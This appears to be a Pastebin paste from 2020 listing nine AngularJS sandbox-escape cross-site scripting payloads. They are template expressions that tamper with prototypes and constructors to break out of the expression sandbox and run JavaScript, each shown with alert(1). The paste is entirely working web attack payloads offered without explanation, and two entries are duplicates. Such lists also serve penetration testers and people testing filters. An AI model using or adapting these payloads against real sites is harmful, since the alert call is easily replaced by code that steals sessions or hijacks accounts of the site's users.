Advertisement
jonaslejon

AngularJS sandbox escape XSS payloads

Oct 31st, 2020
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
  2. constructor.constructor('alert(1)')()
  3. {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
  4. {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
  5. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
  6. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
  7. {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
  8. {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  9. {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement